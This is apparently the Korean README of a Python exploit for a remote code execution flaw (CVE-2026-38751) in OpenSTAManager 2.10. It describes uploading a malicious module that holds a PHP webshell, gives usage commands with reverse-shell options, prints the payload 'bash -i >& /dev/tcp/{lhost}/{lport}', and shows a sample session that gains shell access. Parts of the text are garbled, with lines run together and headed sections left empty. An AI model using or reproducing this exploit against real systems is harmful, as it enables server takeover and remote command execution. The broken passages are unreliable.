
OpenSTAManager RCE 익스플로잇 (CVE-2026-38751)
이 Python 스크립트는 OpenSTAManager 2.10에서 확인된 CVE-2026-38751 원격 코드 실행 취약점을 익스플로잇합니다. 이 익스플로잇을 통해 인증된 사용자는 악성 모듈을 업로드하고 대상 시스템에서 임의의 명령을 실행할 수 있습니다.
익스플로잇은 다음 단계를 따릅니다:
MODULE)c를 통해 명령을 실행하는 PHP 셸 스크립트 (shell.php)requests, zipfilepython3 exploit.py -u http://target.com -U admin -P password
python3 exploit.py -u http://target.com -U admin -P password --interactive
python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444
shell/MODULE: 모듈 구성 파일shell/shell.php: GET 파라미터 c를 통해 전달된 명령을 실행하는 PHP 웹셸id와 같은 간단한 명령을 실행하여 업로드된 셸이 작동하는지 테스트익스플로잇은 여러 리버스 셸 페이로드를 시도합니다:
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1⚠️ 면책 조항: 이 익스플로잇은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
이 취약점으로 인해 가능한 것:
이 취약점을 방어하기 위해:
[ OpenSTAManager RCE Exploit : ]
Target: http://target.com
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 200
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Entering interactive mode...
cmd> whoami
www-data
cmd> exit
이 익스플로잇은 교육 목적으로만 제공됩니다. 소유하지 않았거나 테스트할 명시적 권한이 없는 시스템에 대한 무단 사용은 불법입니다.
| 인수 | 설명 |
|---|
-u, --url | 대상 URL (필수) |
-U, --user | 인증을 위한 사용자 이름 (필수) |
-P, --password | 인증을 위한 비밀번호 (필수) |
--interactive | 대화형 셸 모드 진입 |
--no-cleanup | 실행 후 셸 파일을 제거하지 않음 |
--lhost | 리버스 셸을 위한 로컬 호스트 |
--lport | 리버스 셸을 위한 로컬 포트 |